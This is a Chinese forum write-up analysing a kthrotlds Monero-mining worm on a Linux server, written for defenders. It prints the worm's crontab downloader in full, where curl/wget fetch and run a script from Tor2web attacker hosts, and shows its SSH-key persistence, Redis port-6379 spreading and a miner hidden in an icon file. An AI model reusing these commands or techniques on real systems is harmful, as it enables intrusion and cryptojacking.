查看原文
其他

记一起 kthroltlds 挖矿蠕虫变种分析

jishuzhain 看雪学院 2021-03-08


本文为看雪论坛优秀文章

看雪论坛作者ID:jishuzhain 



最近遇到的一次后门事件,通过分析发现是一起挖矿蠕虫。通过查询CentOS计划任务crontab,发现以下计划任务。



已手工重新格式化如下:


*/1 * * * * (tbin=$(command -v passwd); bpath=$(dirname "${tbin}");
curl="curl";
if [ $(curl --version 2>/dev/null|grep "curl "|wc -l) -eq 0 ];
then curl="echo";
if [ "${bpath}" != "" ];
then for f in ${bpath}*;
do strings $f 2>/dev/null|grep -q "CURLOPT_VERBOSE" && curl="$f" && break;
done;
fi;
fi;
wget="wget";
if [ $(wget --version 2>/dev/null|grep "wgetrc " |wc -l) -eq 0 ];
then wget="echo";
if [ "${bpath}" != "" ];
then for f in ${bpath}*;
do strings $f 2>/dev/null|grep -q "to <bug-wget@gnu.org>" && wget="$f" && break;
done;
fi;
fi;
if [ $(cat /etc/hosts|grep -i ".onion."|wc -l) -ne 0 ];
then echo "127.0.0.1 localhost" > /etc/hosts >/dev/null 2>&1;
fi;
${curl} -fsSLk --max-time 40 https://an7kmd2wp4xo7hpr.tor2web.su/src/ldm -o ~/.ntp||
${curl} -fsSLk --max-time 40 https://an7kmd2wp4xo7hpr.tor2web.io/src/ldm -o ~/.ntp||
${curl} -fsSLk --max-time 40 https://an7kmd2wp4xo7hpr.onion.sh/src/ldm -o ~/.ntp||
wget --quiet --no-check-certificate --timeout=40 https://an7kmd2wp4xo7hpr.onion.sh/src/ldm -o ~/.ntp||
wget --quiet --no-check-certificate --timeout=40 https://an7kmd2wp4xo7hpr.tor2web.su/src/ldm -O ~/.ntp||
wget --quiet --no-check-certificate --timeout=40 https://an7kmd2wp4xo7hpr.tor2web.io/src/ldm -O ~/.ntp||
wget --quiet --no-check-certificate --timeout=40 https://an7kmd2wp4xo7hpr.onion.sh/src/ldm -O ~/.ntp) && chmod +x ~/.ntp && sh ~/.ntp


Linux平台日常查询计划任务时,发现了如上一大串的命令,非常可疑。经关键字搜索,发现可以判断为最近的kthroltlds挖矿病毒。

链接如下:
What is Linux process "kthrotlds" and how do I kill or reduce its CPU impact? : linuxquestions
https://www.reddit.com/r/linuxquestions/comments/bpe9am/what_is_linux_process_kthrotlds_and_how_do_i_kill/


初步看这段shell脚本,发现最后出现的wget请求了一些公网地址,最后还修改了文件权限,之后启动了这个脚本,非常明显的恶意行为。

搜索了下这些域名中的Tor2web,发现这是一个软件项目,允许从标准浏览器访问Tor隐藏服务,而无需连接到Tor网络。

这里可以发现这些站点为攻击者转发到相应的Tor onion站点,通过中间人转发代理,可以使用标准浏览器进行访问,作用是隐藏攻击者的信息。


该脚本这里的作用为下载器,下载后续的恶意代码并执行。

接着看,最后wget下载了一个shell脚本,下载下来后,VT检测如下:


VT检测结果:
https://www.virustotal.com/gui/file/7e77257f92a0e912b37b7c5556bfb448a6aa6d6d951f498ad58db57db2ae6a16/detection


样本很新,发生在最近1个月内。


ldm脚本


MD5:529aa9ae456963bf203300fbd5b4e4f5
SHA-1:a2ca3481cd295bc2664587ac6a7804b5123dc3c1
SHA-256:7e77257f92a0e912b37b7c5556bfb448a6aa6d6d951f498ad58db57db2ae6a16


该样本第一次提交时间为2019-07-03 21:02:26 UTC


下面对该ldm脚本进行分析:


一开始就是三个Tor转发代理站点,将这些信息拼接后,会得到三个实际的请求地址,循环对三个地址请求,来得到一个最终有效的地址,不过目前这个是隐藏的地址,无法追踪到来源。 


使用nohup命令,便于在后台运行脚本。 


在指定的目录下生成一些随机文件名的文件,出现两个计划任务配置,与之前的下载器的配置类似,方便后续对下载的脚本更新。


也是就是下载器下载完成后,就会执行之前随机文件名的脚本,接着使用ps aux命令查找是否有其他的挖矿进程与行为


"kworkerds\|56416\|xmr\|xig\|ddgs\|minerd\|hashvault\|geqn\|.kthreadd\|httpdz\|kworker\|config.json\|gwjyhs.com\|pastebin.com\|sobot.com\|kerbero


如果存在就杀死这些进程,接着通过访问ipinfo.io/ip得到当前机器的IP地址,将系统已经存在的任务计划目录,进行删除。

相关的路径如下:

/var/spool/cron/crontabs/*
/var/spool/cron/crontabs/.*
/var/spool/cron/*
/var/spool/cron/.*
/etc/cron.d/*
/etc/cron.d/.*
/etc/cron.hourly/*
/etc/cron.hourly/.*
/etc/cron.daily/*
/etc/cron.daily/.*

之后判断系统为哪个Linux发行版,使用相应系统的包管理工具来安装软件,这里是根据目录,使用不同的文件目录来创建任务计划。 


该脚本下载了busybox的rm,crond和crontab。 


crontab计划任务配置完成后,接着就开始对受害机器进行ssh配置,配置ssh免密登陆,具体配置可以查截图里具体命令。


skey="ssh-rsa  AAAAB3NzaC1yc2EAAAADAQABAAABAQC1Sdr0tIIL8yPhKTLzVMnRKj1zzGqtR4tKpM2bfBEx+AHyvBL8jDZDJ6fuVwEB+aZ8bl/pA5qhFWRRWhONLnLN9RWFx/880msXITwOXjCT3Qa6VpAFPPMazJpbppIg+LTkbOEjdDHvdZ8RhEt7tTXc2DoTDcs73EeepZbJmDFP8TCY7hwgLi0XcG8YHkDFoKFUhvSHPkzAsQd9hyOWaI1taLX2VZHAk8rOaYqaRG3URWH3hZvk8Hcgggm2q/IQQa9VLlX4cSM4SifM/ZNbLYAJhH1x3ZgscliZVmjB55wZWRL5oOZztOKJT2oczUuhDHM1qoUJjnxopqtZ5DrA76WH user@localhost"



进行后续操作前,先删除以下目录,确保不影响后续运行(因为运行完毕后也会生成这些目录)。 


最后会去访问并下载下一个恶意脚本名字为main,该地址 https://an7kmd2wp4xo7hpr.d2web.org/src/main 可下载到main脚本。

main脚本分析


原始main文件样本

MD5:72c2ac79465ac780dc61e5dbea4caa00
SHA-1:7090a84dbbefbc65ef3026856e826301d9aa4992
SHA-256:6aef5bb7a15db0982fdf39147a514c4a75d4eb6587ea476f34c647e2bedc5230


https://www.virustotal.com/gui/file/6aef5bb7a15db0982fdf39147a514c4a75d4eb6587ea476f34c647e2bedc5230/detection


main脚本base64解码后的样本

MD5:d1eaec979e57c6b4cb19e58383284256
SHA-1:f67476fdb38aeb0d512757b837216994b7705bae
SHA-256:7112ae92d7b03f0a280616d076b692889b0b05a0a75559623df6acdf07255700


https://www.virustotal.com/gui/file/7112ae92d7b03f0a280616d076b692889b0b05a0a75559623df6acdf07255700/detection


解码后的脚本如下:


大致浏览一遍整个脚本,发现函数a是一个针对阿里云与腾讯云检测的功能函数,说明黑客对国内的云主机环境的安全机制很熟悉,该蠕虫病毒可能是变种样本。 


这个函数的作用主要是卸载掉这些云主机自带的防护,接着看函数e里使用python进行了base64解码,将内容解码后如下: 


访问如下链接,下载对应的数据解码后执行。

https://an7kmd2wp4xo7hpr.tor2web.su/src/sc


得到下载的Python脚本sc:


发现是执行端口扫描功能,再具体看看内部实现的功能。


这里可以看出,除了内网IP地址外,其余IP都会进行端口6379扫描,看看是否存在redis未授权访问,这里的话表示这个脚本存在蠕虫功能,同时redis存在未授权就设置相关的计划任务,进一步扩散。



同样的,main脚本里发现又下载了ioc文件(图标文件),目前不知道具体作用,先放一边,接下来这里是判断系统位数来下载对应的文件。



列举一个下载图标文件的地址:

wget https://an7kmd2wp4xo7hpr.tor2web.su/images/ico/r64x75.ico --no-check-certificate
https://an7kmd2wp4xo7hpr.tor2web.su/images/ico/r64x75.ico


if [[ -f /sbin/apk ]]; then Pref="a"; elif [[ $(echo "${ARCH}"|grep 'Alpine'|wc -l) -eq 0 ]]; then Pref="r"; else Pref="a"; fi
 
RBIN1="${Pref}64x75"
RBIN2="${Pref}32x75"
RPATH2="images/ico/${RBIN1}.ico"
RPATH3="images/ico/${RBIN2}.ico"


通过第一行命令选择不同的前缀是a或r,具体取决于脚本检测到的操作系统版本。64x75代表系统是64位,反之32x75就是32位。

现在对下载到本地的ico文件进行分析,file命令识别为图标文件。


查看十六进制内容,发现文件头存在,所以能识别为一个图标文件。 


桌面环境能显示为一个github图标logo:



找隐藏文件这里的话靠经验,因为下载的文件不可能是一个正常的图标文件,不然下载了无任何作用,所以得寻找下是否存在常用的文件头标志,这里的话在偏移0xFBC处存在zip文件头,所以这里隐藏了一个zip压缩文件。 



对其解压,需要输入密码。




main脚本里可以找到解压密码:no-password,解压成功。



解压后的文件为ELF格式文件:


使用strings命令获取字符串,发现了UPX痕迹。 





使用工具对其脱壳如下:
https://github.com/upx/upx/releases/download/v3.95/upx-3.95-amd64_linux.tar.xz


获取的ELF文件,上传VT检测。


r64x75_unpacked

MD5:707af0460ce6fa6406eb4068310cdd27
SHA-1:f06f6782a51d62dd889edfba26b68adc3fd6a70c
SHA-256:3915278cbd11c4919b208c8569e624a8f4cf058100b22c494e929fb75a752da4


https://www.virustotal.com/gui/file/3915278cbd11c4919b208c8569e624a8f4cf058100b22c494e929fb75a752da4/detection



显示为挖矿行为,查字符串,发现门罗币(xmr)痕迹。


静态分析时发现使用了 RandomX and CryptoNight CPU miner项目,项目地址:https://github.com/xmrig/xmrig。





直接通过仔细查找,发现了攻击者的矿池与收币地址。微步在线,2019年6月18日的检测记录存在解析了两个IP地址。



历史IP:


目前该域名无法解析:




行为分析发现存在DNS查询,但截止到此次分析时已失效,挖矿程序会存在矿池等配置信息,但由于存在匿名性,这里就不再分析了。



蠕虫执行流程图如下:





domains:


An7kmd2wp4xo7hpr.tor2web.su
An7kmd2wp4xo7hpr.tor2web.io
an7kmd2wp4xo7hpr.onion.sh


Mine pool:


timesync.su:443
198.50.211.195:443


此次事件,最根本的原因是redis未授权访问导致后续被入侵写入后门,执行挖矿。所以在使用主机时,需要配置好相关的安全访问,比如iptables,使用的相关服务需要对其进行安全设置,修复漏洞,及时更新服务器相关组件与程序。


参考:
https://www.reddit.com/r/linuxquestions/comments/bpe9am/what_is_linux_process_kthrotlds_and_how_do_i_kill/
https://www.cybereason.com/blog/new-pervasive-worm-exploiting-linux-exim-server-vulnerability




- End -







看雪ID:jishuzhain 

https://bbs.pediy.com/user-678001.htm 


*本文由看雪论坛  jishuzhain 原创,转载请注明来自看雪社区






推荐文章++++

AFL afl_fuzz.c 详细分析

小白的CVE-2010-0249——极光行动漏洞分析

一款二代壳的脱壳成长之路

手动打造应用层钩子扫描

跨平台模拟执行 - AndroidNativeEmu实用手册 






进阶安全圈,不得不读的一本书










“阅读原文”一起来充电吧!

    您可能也对以下帖子感兴趣

    文章有问题?点此查看未经处理的缓存